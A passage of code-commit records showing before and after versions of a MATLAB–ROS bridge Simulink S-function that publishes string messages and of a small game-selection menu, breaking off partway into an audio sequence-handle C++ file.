errors:\n *\n *      mdlOutputs()\n *      {\n *         char msg[256];         {ILLEGAL: to fix use \"static char msg[256];\"}\n *         sprintf(msg,\"Error due to %s\", string);\n *         ssSetErrorStatus(S,msg);\n *         return;\n *      }\n *\n * See matlabroot\/simulink\/src\/sfuntmpl_doc.c for more details.\n *\/\n\n\/*====================*\n * S-function methods *\n *====================*\/\n\n\n\/\/double Tsim;\n\n\/* Function: mdlInitializeSizes ===============================================\n * Abstract:\n *    The sizes information is used by Simulink to determine the S-function\n *    block's characteristics (number of inputs, outputs, states, etc.).\n *\/\nstatic void mdlInitializeSizes(SimStruct *S)\n{\n    \/* See sfuntmpl_doc.c for more details on the macros below *\/\n\n    ssSetNumSFcnParams(S, 3);  \/* Number of expected parameters *\/\n#if defined(MATLAB_MEX_FILE)\n    if (ssGetNumSFcnParams(S) == ssGetSFcnParamsCount(S)) {\n        mdlCheckParameters(S);\n        if (ssGetErrorStatus(S) != NULL) {\n            return;\n        }\n    } else {\n        return; \/* Parameter mismatch will be reported by Simulink. *\/\n    }\n#endif\n\n    ssSetNumContStates(S, 0);\n    ssSetNumDiscStates(S, 0);\n\n    if (!ssSetNumInputPorts(S, 1)) return;\n\n    \/\/const uint32_T strLength = *((uint32_T*)mxGetData(ssGetSFcnParam(S, 2)));\n    const mxChar strLength = *((mxChar*)mxGetData(ssGetSFcnParam(S, 2)));\n    ssSetInputPortMatrixDimensions(S, 0, 1, strLength); \/\/ string\n    ssSetInputPortDataType(S, 0, SS_UINT8);\n\n\tfor (int_T i = 0; i < ssGetNumInputPorts(S); ++i) {\n\t\t\/*direct input signal access*\/\n    \tssSetInputPortRequiredContiguous(S, i, true); \n\t\t\/*\n\t\t * Set direct feedthrough flag (1=yes, 0=no).\n\t\t * A port has direct feedthrough if the input is used in either\n\t\t * the mdlOutputs or mdlGetTimeOfNextVarHit functions.\n\t\t * See matlabroot\/simulink\/src\/sfuntmpl_directfeed.txt.\n\t\t *\/\n\t\tssSetInputPortDirectFeedThrough(S, i, 1);\n\t}\n\n    if (!ssSetNumOutputPorts(S, 0)) return;\n\n    ssSetNumSampleTimes(S, 1);\n    ssSetNumRWork(S, 0);\n    ssSetNumIWork(S, 1); \/\/ strLength\n    ssSetNumPWork(S, 1); \/\/ GenericPub\n    ssSetNumModes(S, 0);\n    ssSetNumNonsampledZCs(S, 0);\n\n    \/* Specify the sim state compliance to be same as a built-in block *\/\n    ssSetSimStateCompliance(S, USE_DEFAULT_SIM_STATE);\n\n    ssSetOptions(S, 0);\n}\n\n\n\n\/* Function: mdlInitializeSampleTimes =========================================\n * Abstract:\n *    This function is used to specify the sample time(s) for your\n *    S-function. You must register the same number of sample times as\n *    specified in ssSetNumSampleTimes.\n *\/\n\nstatic void mdlInitializeSampleTimes(SimStruct *S)\n{\n    real_T Tsim = mxGetScalar(ssGetSFcnParam(S, 0));\n    ssSetSampleTime(S, 0, Tsim);                      \/\/DISCRETE_SAMPLE_TIME);\n    ssSetOffsetTime(S, 0, 0.0);\n\n}\n\n\n\n#define MDL_INITIALIZE_CONDITIONS   \/* Change to #undef to remove function *\/\n#if defined(MDL_INITIALIZE_CONDITIONS)\n  \/* Function: mdlInitializeConditions ========================================\n   * Abstract:\n   *    In this function, you should initialize the continuous and discrete\n   *    states for your S-function block.  The initial states are placed\n   *    in the state vector, ssGetContStates(S) or ssGetRealDiscStates(S).\n   *    You can also perform any other initialization activities that your\n   *    S-function may require. Note, this routine will be called at the\n   *    start of simulation and if it is present in an enabled subsystem\n   *    configured to reset states, it will be call when the enabled subsystem\n   *    restarts execution to reset the states.\n   *\/\n  static void mdlInitializeConditions(SimStruct *S)\n  {\n  }\n#endif \/* MDL_INITIALIZE_CONDITIONS *\/\n\n#define MDL_START  \/* Change to #undef to remove function *\/\n#if defined(MDL_START) \n  \/* Function: mdlStart =======================================================\n   * Abstract:\n   *    This function is called once at start of model execution. If you\n   *    have states that should be initialized once, this is the place\n   *    to do it.\n   *\/\n\nstatic void mdlStart(SimStruct *S)\n{   \n    SFUNPRINTF(\"Creating Instance of %s.\\n\", TOSTRING(S_FUNCTION_NAME));\n    \/\/ init ROS if not yet done.\n    initROS(S);\n\n    void** vecPWork = ssGetPWork(S);\n\n\/\/    ssGetIWork(S)[0] = *((uint32_T*)mxGetData(ssGetSFcnParam(S, 2)));\n    ssGetIWork(S)[0] = *((mxChar*)mxGetData(ssGetSFcnParam(S, 2)));\n\n    ros::NodeHandle nodeHandle(ros::this_node::getName());\n\n    \/\/ get Topic Strings\n    size_t prefix_buflen = mxGetN((ssGetSFcnParam(S, 1)))*sizeof(mxChar)+1;\n    char* prefix_topic = (char*)mxMalloc(prefix_buflen);\n    mxGetString((ssGetSFcnParam(S, 1)), prefix_topic, prefix_buflen);\n\n    \/\/SFUNPRINTF(\"The string being passed as a Paramater is - %s\\n \", topic);\n\tGenericPublisher<std_msgs::String>* pub\n\t\t= new GenericPublisher<std_msgs::String>(nodeHandle, prefix_topic, 10);\n\tvecPWork[0] = pub;\n\n    \/\/ free char array\n    mxFree(prefix_topic);\n\n  }\n#endif \/*  MDL_START *\/\n\n\n\n\/* Function: mdlOutputs =======================================================\n * Abstract:\n *    In this function, you compute the outputs of your S-function\n *    block.\n *\/\nstatic void mdlOutputs(SimStruct *S, int_T tid)\n{   \n\n    \/\/ get Objects\n    void** vecPWork = ssGetPWork(S);\n    const uint32_T strLength = ssGetIWork(S)[0];\n\n    \/\/ get Pointers\n    \/\/ accessing inputs\n    uint8_T* txt = (uint8_T*)ssGetInputPortSignal(S,0);\n    \n    std_msgs::String msg;\n    msg.data.resize(strLength);\n    memcpy(&msg.data[0], (char*)txt, strLength*sizeof(uint8_T));\n\/\/    for (unsigned int i=0; i < strLength; ++i) {\n\/\/    \tmsg.data[i] = (char)txt[i];\n\/\/    }\n\n\tGenericPublisher<std_msgs::String>* pub\n\t\t\t= (GenericPublisher<std_msgs::String>*)vecPWork[0];\n\n\tpub->publish(msg);\n\n}\n\n\n\n#define MDL_UPDATE  \/* Change to #undef to remove function *\/\n#if defined(MDL_UPDATE)\n  \/* Function: mdlUpdate ======================================================\n   * Abstract:\n   *    This function is called once for every major integration time step.\n   *    Discrete states are typically updated here, but this function is useful\n   *    for performing any tasks that should only take place once per\n   *    integration step.\n   *\/\n  static void mdlUpdate(SimStruct *S, int_T tid)\n  {\n  }\n#endif \/* MDL_UPDATE *\/\n\n\n\n#define MDL_DERIVATIVES  \/* Change to #undef to remove function *\/\n#if defined(MDL_DERIVATIVES)\n  \/* Function: mdlDerivatives =================================================\n   * Abstract:\n   *    In this function, you compute the S-function block's derivatives.\n   *    The derivatives are placed in the derivative vector, ssGetdX(S).\n   *\/\n  static void mdlDerivatives(SimStruct *S)\n  {\n  }\n#endif \/* MDL_DERIVATIVES *\/\n\n\n\n\/* Function: mdlTerminate =====================================================\n * Abstract:\n *    In this function, you should perform any actions that are necessary\n *    at the termination of a simulation.  For example, if memory was\n *    allocated in mdlStart, this is the place to free it.\n *\/\nstatic void mdlTerminate(SimStruct *S)\n{\n    \/\/ get Objects\n    void** vecPWork = ssGetPWork(S);\n    GenericPublisher<std_msgs::String>* pub = (GenericPublisher<std_msgs::String>*)vecPWork[0];\n    delete pub;\n\n    SFUNPRINTF(\"Terminating Instance of %s.\\n\", TOSTRING(S_FUNCTION_NAME));\n}\n\n\n\n\/*=============================*\n * Required S-function trailer *\n *=============================*\/\n\n#ifdef  MATLAB_MEX_FILE    \/* Is this file being compiled as a MEX-file? *\/\n#include \"simulink.c\"      \/* MEX-file interface mechanism *\/\n#else\n#include \"cg_sfun.h\"       \/* Code generation registration function *\/\n#endif\n<commit_msg>fixed char data type<commit_after>\/********************************************************************\n * \n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2012, Max-Planck-Gesellschaft\n * Copyright (c) 2012-2015, Inria\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n *  * Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above\n *    copyright notice, this list of conditions and the following\n *    disclaimer in the documentation and\/or other materials provided\n *    with the distribution.\n *  * Neither the name of the copyright holder nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ********************************************************************\/\n\n\n\/*\n * You must specify the S_FUNCTION_NAME as the name of your S-function\n * (i.e. replace sfuntmpl_basic with the name of your S-function).\n *\/\n\n#define S_FUNCTION_NAME  rmsg_pub_String\n#define S_FUNCTION_LEVEL 2\n\n#define STRINGIFY(x) #x\n#define TOSTRING(x) STRINGIFY(x)\n\n\n\/*\n * Need to include simstruc.h for the definition of the SimStruct and\n * its associated macro definitions.\n *\/\n#include \"simstruc.h\"\n\n#pragma push_macro(\"RT\")\n#undef RT\n\n#include <ros\/ros.h>\n\n\/\/ Generic Publisher\n#include <matlab_ros_bridge\/GenericPublisher.hpp>\n\n\/\/ Message\n#include <std_msgs\/String.h>\n\n#pragma pop_macro(\"RT\")\n\n#include <matlab_ros_bridge\/RosMatlabBrigdeDefines.hpp>\n\n#define MDL_CHECK_PARAMETERS\n#if defined(MDL_CHECK_PARAMETERS) && defined(MATLAB_MEX_FILE)\n  \/* Function: mdlCheckParameters =============================================\n   * Abstract:\n   *    Validate our parameters to verify:\n   *     o The numerator must be of a lower order than the denominator.\n   *     o The sample time must be a real positive nonzero value.\n   *\/\n  static void mdlCheckParameters(SimStruct *S)\n  {\n    \n    \/\/ Tsim\n\tif (mxIsEmpty( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsSparse( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsComplex( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsLogical( ssGetSFcnParam(S,0)) ||\n\t\t\t!mxIsNumeric( ssGetSFcnParam(S,0)) ||\n\t\t\t!mxIsDouble( ssGetSFcnParam(S,0)) ||\n\t\t\tmxGetNumberOfElements(ssGetSFcnParam(S,0)) != 1) {\n\t\tssSetErrorStatus(S,\"Simulation time must be a single double Value\");\n\t\treturn;\n\t}\n\n\t\/\/ Prefix Topic\n\tif (!mxIsChar( ssGetSFcnParam(S,1)) ) {\n\t\tssSetErrorStatus(S,\"Prefix value must be char array (string)\");\n\t\treturn;\n\t}\n\n    \/\/ String length\n    if (mxIsEmpty( ssGetSFcnParam(S,2)) ||\n            mxIsSparse( ssGetSFcnParam(S,2)) ||\n            mxIsComplex( ssGetSFcnParam(S,2)) ||\n            mxIsLogical( ssGetSFcnParam(S,2)) ||\n\t\t\t!mxIsChar(ssGetSFcnParam(S,2)) || \/\/ssGetDTypeIdFromMxArray(ssGetSFcnParam(S,2))!=SS_UINT32 ||\n            mxGetNumberOfElements(ssGetSFcnParam(S,2)) != 1) {\n        ssSetErrorStatus(S,\"String length must be a char\");\n        return;\n    }\n\n  }\n#endif \/* MDL_CHECK_PARAMETERS *\/\n\n\n\n\/* Error handling\n * --------------\n *\n * You should use the following technique to report errors encountered within\n * an S-function:\n *\n *       ssSetErrorStatus(S,\"Error encountered due to ...\");\n *       return;\n *\n * Note that the 2nd argument to ssSetErrorStatus must be persistent memory.\n * It cannot be a local variable. For example the following will cause\n * unpredictable errors:\n *\n *      mdlOutputs()\n *      {\n *         char msg[256];         {ILLEGAL: to fix use \"static char msg[256];\"}\n *         sprintf(msg,\"Error due to %s\", string);\n *         ssSetErrorStatus(S,msg);\n *         return;\n *      }\n *\n * See matlabroot\/simulink\/src\/sfuntmpl_doc.c for more details.\n *\/\n\n\/*====================*\n * S-function methods *\n *====================*\/\n\n\n\/\/double Tsim;\n\n\/* Function: mdlInitializeSizes ===============================================\n * Abstract:\n *    The sizes information is used by Simulink to determine the S-function\n *    block's characteristics (number of inputs, outputs, states, etc.).\n *\/\nstatic void mdlInitializeSizes(SimStruct *S)\n{\n    \/* See sfuntmpl_doc.c for more details on the macros below *\/\n\n    ssSetNumSFcnParams(S, 3);  \/* Number of expected parameters *\/\n#if defined(MATLAB_MEX_FILE)\n    if (ssGetNumSFcnParams(S) == ssGetSFcnParamsCount(S)) {\n        mdlCheckParameters(S);\n        if (ssGetErrorStatus(S) != NULL) {\n            return;\n        }\n    } else {\n        return; \/* Parameter mismatch will be reported by Simulink. *\/\n    }\n#endif\n\n    ssSetNumContStates(S, 0);\n    ssSetNumDiscStates(S, 0);\n\n    if (!ssSetNumInputPorts(S, 1)) return;\n\n    \/\/const uint32_T strLength = *((uint32_T*)mxGetData(ssGetSFcnParam(S, 2)));\n    const mxChar strLength = *((mxChar*)mxGetData(ssGetSFcnParam(S, 2)));\n    ssSetInputPortMatrixDimensions(S, 0, 1, strLength); \/\/ string\n    ssSetInputPortDataType(S, 0, SS_UINT8);\n\n\tfor (int_T i = 0; i < ssGetNumInputPorts(S); ++i) {\n\t\t\/*direct input signal access*\/\n    \tssSetInputPortRequiredContiguous(S, i, true); \n\t\t\/*\n\t\t * Set direct feedthrough flag (1=yes, 0=no).\n\t\t * A port has direct feedthrough if the input is used in either\n\t\t * the mdlOutputs or mdlGetTimeOfNextVarHit functions.\n\t\t * See matlabroot\/simulink\/src\/sfuntmpl_directfeed.txt.\n\t\t *\/\n\t\tssSetInputPortDirectFeedThrough(S, i, 1);\n\t}\n\n    if (!ssSetNumOutputPorts(S, 0)) return;\n\n    ssSetNumSampleTimes(S, 1);\n    ssSetNumRWork(S, 0);\n    ssSetNumIWork(S, 1); \/\/ strLength\n    ssSetNumPWork(S, 1); \/\/ GenericPub\n    ssSetNumModes(S, 0);\n    ssSetNumNonsampledZCs(S, 0);\n\n    \/* Specify the sim state compliance to be same as a built-in block *\/\n    ssSetSimStateCompliance(S, USE_DEFAULT_SIM_STATE);\n\n    ssSetOptions(S, 0);\n}\n\n\n\n\/* Function: mdlInitializeSampleTimes =========================================\n * Abstract:\n *    This function is used to specify the sample time(s) for your\n *    S-function. You must register the same number of sample times as\n *    specified in ssSetNumSampleTimes.\n *\/\n\nstatic void mdlInitializeSampleTimes(SimStruct *S)\n{\n    real_T Tsim = mxGetScalar(ssGetSFcnParam(S, 0));\n    ssSetSampleTime(S, 0, Tsim);                      \/\/DISCRETE_SAMPLE_TIME);\n    ssSetOffsetTime(S, 0, 0.0);\n\n}\n\n\n\n#define MDL_INITIALIZE_CONDITIONS   \/* Change to #undef to remove function *\/\n#if defined(MDL_INITIALIZE_CONDITIONS)\n  \/* Function: mdlInitializeConditions ========================================\n   * Abstract:\n   *    In this function, you should initialize the continuous and discrete\n   *    states for your S-function block.  The initial states are placed\n   *    in the state vector, ssGetContStates(S) or ssGetRealDiscStates(S).\n   *    You can also perform any other initialization activities that your\n   *    S-function may require. Note, this routine will be called at the\n   *    start of simulation and if it is present in an enabled subsystem\n   *    configured to reset states, it will be call when the enabled subsystem\n   *    restarts execution to reset the states.\n   *\/\n  static void mdlInitializeConditions(SimStruct *S)\n  {\n  }\n#endif \/* MDL_INITIALIZE_CONDITIONS *\/\n\n#define MDL_START  \/* Change to #undef to remove function *\/\n#if defined(MDL_START) \n  \/* Function: mdlStart =======================================================\n   * Abstract:\n   *    This function is called once at start of model execution. If you\n   *    have states that should be initialized once, this is the place\n   *    to do it.\n   *\/\n\nstatic void mdlStart(SimStruct *S)\n{   \n    SFUNPRINTF(\"Creating Instance of %s.\\n\", TOSTRING(S_FUNCTION_NAME));\n    \/\/ init ROS if not yet done.\n    initROS(S);\n\n    void** vecPWork = ssGetPWork(S);\n\n\/\/    ssGetIWork(S)[0] = *((uint32_T*)mxGetData(ssGetSFcnParam(S, 2)));\n    ssGetIWork(S)[0] = *((mxChar*)mxGetData(ssGetSFcnParam(S, 2)));\n\n    ros::NodeHandle nodeHandle(ros::this_node::getName());\n\n    \/\/ get Topic Strings\n    size_t prefix_buflen = mxGetN((ssGetSFcnParam(S, 1)))*sizeof(mxChar)+1;\n    char* prefix_topic = (char*)mxMalloc(prefix_buflen);\n    mxGetString((ssGetSFcnParam(S, 1)), prefix_topic, prefix_buflen);\n\n    \/\/SFUNPRINTF(\"The string being passed as a Paramater is - %s\\n \", topic);\n\tGenericPublisher<std_msgs::String>* pub\n\t\t= new GenericPublisher<std_msgs::String>(nodeHandle, prefix_topic, 10);\n\tvecPWork[0] = pub;\n\n    \/\/ free char array\n    mxFree(prefix_topic);\n\n  }\n#endif \/*  MDL_START *\/\n\n\n\n\/* Function: mdlOutputs =======================================================\n * Abstract:\n *    In this function, you compute the outputs of your S-function\n *    block.\n *\/\nstatic void mdlOutputs(SimStruct *S, int_T tid)\n{   \n\n    \/\/ get Objects\n    void** vecPWork = ssGetPWork(S);\n    \/\/const uint32_T strLength = ssGetIWork(S)[0];\n    const mxChar strLength = ssGetIWork(S)[0];\n\n    \/\/ get Pointers\n    \/\/ accessing inputs\n    uint8_T* txt = (uint8_T*)ssGetInputPortSignal(S,0);\n    \n    std_msgs::String msg;\n    msg.data.resize(strLength);\n    memcpy(&msg.data[0], (char*)txt, strLength*sizeof(char));\n\/\/    for (unsigned int i=0; i < strLength; ++i) {\n\/\/    \tmsg.data[i] = (char)txt[i];\n\/\/    }\n\n\tGenericPublisher<std_msgs::String>* pub\n\t\t\t= (GenericPublisher<std_msgs::String>*)vecPWork[0];\n\n\tpub->publish(msg);\n\n}\n\n\n\n#define MDL_UPDATE  \/* Change to #undef to remove function *\/\n#if defined(MDL_UPDATE)\n  \/* Function: mdlUpdate ======================================================\n   * Abstract:\n   *    This function is called once for every major integration time step.\n   *    Discrete states are typically updated here, but this function is useful\n   *    for performing any tasks that should only take place once per\n   *    integration step.\n   *\/\n  static void mdlUpdate(SimStruct *S, int_T tid)\n  {\n  }\n#endif \/* MDL_UPDATE *\/\n\n\n\n#define MDL_DERIVATIVES  \/* Change to #undef to remove function *\/\n#if defined(MDL_DERIVATIVES)\n  \/* Function: mdlDerivatives =================================================\n   * Abstract:\n   *    In this function, you compute the S-function block's derivatives.\n   *    The derivatives are placed in the derivative vector, ssGetdX(S).\n   *\/\n  static void mdlDerivatives(SimStruct *S)\n  {\n  }\n#endif \/* MDL_DERIVATIVES *\/\n\n\n\n\/* Function: mdlTerminate =====================================================\n * Abstract:\n *    In this function, you should perform any actions that are necessary\n *    at the termination of a simulation.  For example, if memory was\n *    allocated in mdlStart, this is the place to free it.\n *\/\nstatic void mdlTerminate(SimStruct *S)\n{\n    \/\/ get Objects\n    void** vecPWork = ssGetPWork(S);\n    GenericPublisher<std_msgs::String>* pub = (GenericPublisher<std_msgs::String>*)vecPWork[0];\n    delete pub;\n\n    SFUNPRINTF(\"Terminating Instance of %s.\\n\", TOSTRING(S_FUNCTION_NAME));\n}\n\n\n\n\/*=============================*\n * Required S-function trailer *\n *=============================*\/\n\n#ifdef  MATLAB_MEX_FILE    \/* Is this file being compiled as a MEX-file? *\/\n#include \"simulink.c\"      \/* MEX-file interface mechanism *\/\n#else\n#include \"cg_sfun.h\"       \/* Code generation registration function *\/\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma GCC optimize (\"-O3\")\n\n#include \"libgame.h\"\n#include \"storage.h\"\n\n#define _OUTPUT_INSTANCES\n#include \"games.h\"\n#undef _OUTPUT_INSTANCES\n\n#define UP BITMASK(BUTTON_NE) | BITMASK(BUTTON_UP)\n#define DOWN BITMASK(BUTTON_SE) | BITMASK(BUTTON_DOWN)\n#define SELECT BITMASK(BUTTON_SW) | BITMASK(BUTTON_START)\n\n\/\/ need some space for stack and system variables\n#define AVAIL_SPACE 1024\n\nstatic uint8_t N_GAMES;\n\nstatic uint8_t sel = 0;\n\nstatic uint8_t memory[AVAIL_SPACE];\n\nstatic unsigned long cur_time = 0;\n\nstatic unsigned long btn_timeout = 0;\n#define BUTTON_DELAY 200\n\nstatic bool game_running = false;\nstatic bool btn_pressed = false;\nstatic game_instance* ptr;\nvoid prepare()\n{\n    N_GAMES = sizeof(instances) \/ sizeof(game_instance);\n    game_setup();\n    storage_init();\n    game_set_ups(60);\n}\n\nvoid update(unsigned long delta)\n{\n    cur_time += delta;\n    if (!game_running)\n    {\n        if (cur_time < btn_timeout) return;\n        if ((game_is_any_button_pressed(DOWN)) && sel < (N_GAMES - 1))\n        {\n            sel++;\n            btn_timeout = cur_time + BUTTON_DELAY;\n        }\n        if ((game_is_any_button_pressed(UP)) && sel > 0)\n        {\n            sel--;\n            btn_timeout = cur_time + BUTTON_DELAY;\n        }\n        if (game_is_any_button_pressed(SELECT)) btn_pressed = true;\n        if (!game_is_any_button_pressed(SELECT) && btn_pressed)\n        {\n            \/\/ run game\n            ptr = instances + sel;\n            game_running = true;\n            *(ptr->data) = memory;\n            ptr->prepare();\n        }\n    }\n    else\n    {\n        ptr->update(delta);\n    }\n}\n\nvoid render()\n{\n    if (!game_running)\n    {\n        for (uint8_t iter = 0; iter < N_GAMES; ++iter)\n        {\n            if (instances[iter].name)\n            {\n                game_draw_text(instances[iter].name, 0, 8 * iter, (iter == sel) ? RED : WHITE);\n            }\n        }\n    }\n    else\n    {\n        ptr->render();\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Storage\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid game_save(const void *buf, uint16_t size)\n{\n    storage_write((const char*)ptr->name, buf, size);\n}\n\nvoid game_load(void *buf, uint16_t size)\n{\n    storage_read((const char*)ptr->name, buf, size);\n}\n\n<commit_msg>Removed useless variables<commit_after>#pragma GCC optimize (\"-O3\")\n\n#include \"libgame.h\"\n#include \"storage.h\"\n\n#define _OUTPUT_INSTANCES\n#include \"games.h\"\n#undef _OUTPUT_INSTANCES\n\n#define UP BITMASK(BUTTON_NE) | BITMASK(BUTTON_UP)\n#define DOWN BITMASK(BUTTON_SE) | BITMASK(BUTTON_DOWN)\n#define SELECT BITMASK(BUTTON_SW) | BITMASK(BUTTON_START)\n\n\/\/ need some space for stack and system variables\n#define AVAIL_SPACE 1024\n\n#define N_GAMES (sizeof(instances) \/ sizeof(game_instance))\n\nstatic uint8_t sel = 0;\n\nstatic uint8_t memory[AVAIL_SPACE];\n\nstatic unsigned long cur_time = 0;\n\nstatic unsigned long btn_timeout = 0;\n#define BUTTON_DELAY 200\n\nstatic bool btn_pressed = false;\nstatic game_instance* ptr;\nvoid prepare()\n{\n    game_setup();\n    storage_init();\n    game_set_ups(60);\n}\n\nvoid update(unsigned long delta)\n{\n    cur_time += delta;\n    if (!ptr)\n    {\n        if (cur_time < btn_timeout) return;\n        if ((game_is_any_button_pressed(DOWN)) && sel < (N_GAMES - 1))\n        {\n            sel++;\n            btn_timeout = cur_time + BUTTON_DELAY;\n        }\n        if ((game_is_any_button_pressed(UP)) && sel > 0)\n        {\n            sel--;\n            btn_timeout = cur_time + BUTTON_DELAY;\n        }\n        if (game_is_any_button_pressed(SELECT)) btn_pressed = true;\n        if (!game_is_any_button_pressed(SELECT) && btn_pressed)\n        {\n            \/\/ run game\n            ptr = instances + sel;\n            *(ptr->data) = memory;\n            ptr->prepare();\n        }\n    }\n    else\n    {\n        ptr->update(delta);\n    }\n}\n\nvoid render()\n{\n    if (!ptr)\n    {\n        for (uint8_t iter = 0; iter < N_GAMES; ++iter)\n        {\n            if (instances[iter].name)\n            {\n                game_draw_text(instances[iter].name, 0, 8 * iter, (iter == sel) ? RED : WHITE);\n            }\n        }\n    }\n    else\n    {\n        ptr->render();\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Storage\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid game_save(const void *buf, uint16_t size)\n{\n    storage_write((const char*)ptr->name, buf, size);\n}\n\nvoid game_load(void *buf, uint16_t size)\n{\n    storage_read((const char*)ptr->name, buf, size);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * Copyright 2009-2013 Jörg Müller\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ******************************************************************************\/\n\n#include \"SequenceHandle.h\"\n#include \"sequence\/SequenceEntry.h\"\n#include \"devices\/ReadDevice.h\"\n\n#include <mutex>\n\n#define KEEP_TIME 10\n\nAUD_NAMESPACE_BEGIN\n\nvoid SequenceHandle::start()\n{\n\t\/\/ we already tried to start, aborting\n\tif(!m_valid)\n\t\treturn;\n\n\t\/\/ in case the sound is playing, we need to stop first\n\tstop();\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\n\t\/\/ let's try playing\n\tif(m_entry->m_sound.get())\n\t{\n\t\tm_handle = m_device.play(m_entry->m_sound, true);\n\t\tm_3dhandle = std::dynamic_pointer_cast<I3DHandle>(m_handle);\n\n\t\t\/\/ after starting we have to set the properties, so let's ensure that\n\t\tm_status--;\n\t}\n\n\t\/\/ if the sound could not be played, we invalidate\n\tm_valid = m_handle.get();\n}\n\nbool SequenceHandle::updatePosition(float position)\n{\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\n\tif(m_handle.get())\n\t{\n\t\t\/\/ we currently have a handle, let's check where we are\n\t\tif(position >= m_entry->m_end)\n\t\t{\n\t\t\tif(position >= m_entry->m_end + KEEP_TIME)\n\t\t\t\t\/\/ far end, stopping\n\t\t\t\tstop();\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ close end, just pausing\n\t\t\t\tm_handle->pause();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\telse if(position >= m_entry->m_begin)\n\t\t{\n\t\t\t\/\/ inside, resuming\n\t\t\tm_handle->resume();\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(position < m_entry->m_begin - KEEP_TIME)\n\t\t\t\t\/\/ far beginning, stopping\n\t\t\t\tstop();\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ close beginning, just pausing\n\t\t\t\tm_handle->pause();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ we don't have a handle, let's start if we should be playing\n\t\tif(position >= m_entry->m_begin && position <= m_entry->m_end)\n\t\t{\n\t\t\tstart();\n\t\t\treturn m_valid;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nSequenceHandle::SequenceHandle(std::shared_ptr<SequenceEntry> entry, ReadDevice& device) :\n\tm_entry(entry),\n\tm_valid(true),\n\tm_status(0),\n\tm_pos_status(0),\n\tm_sound_status(0),\n\tm_device(device)\n{\n}\n\nSequenceHandle::~SequenceHandle()\n{\n\tstop();\n}\n\nint SequenceHandle::compare(std::shared_ptr<SequenceEntry> entry) const\n{\n\tif(m_entry->getID() < entry->getID())\n\t\treturn -1;\n\telse if(m_entry->getID() == entry->getID())\n\t\treturn 0;\n\treturn 1;\n}\n\nvoid SequenceHandle::stop()\n{\n\tif(m_handle.get())\n\t\tm_handle->stop();\n\tm_handle = nullptr;\n\tm_3dhandle = nullptr;\n}\n\nvoid SequenceHandle::update(float position, float frame, float fps)\n{\n\tif(m_sound_status != m_entry->m_sound_status)\n\t{\n\t\t\/\/ if a new sound has been set, it's possible to get valid again!\n\t\tm_sound_status = m_entry->m_sound_status;\n\t\tm_valid = true;\n\n\t\t\/\/ stop whatever sound has been playing\n\t\tstop();\n\n\t\t\/\/ seek starts and seeks to the correct position\n\t\tif(!seek(position))\n\t\t\t\/\/ no handle, aborting\n\t\t\treturn;\n\t}\n\telse\n\t{\n\t\tif(!m_valid)\n\t\t\t\/\/ invalid, aborting\n\t\t\treturn;\n\n\t\tif(m_handle.get())\n\t\t{\n\t\t\t\/\/ we have a handle, let's update the position\n\t\t\tif(!updatePosition(position))\n\t\t\t\t\/\/ lost handle, aborting\n\t\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ we don't have a handle, let's see if we can start\n\t\t\tif(!seek(position))\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\tif(m_pos_status != m_entry->m_pos_status)\n\t{\n\t\tm_pos_status = m_entry->m_pos_status;\n\n\t\t\/\/ position changed, need to seek\n\t\tif(!seek(position))\n\t\t\t\/\/ lost handle, 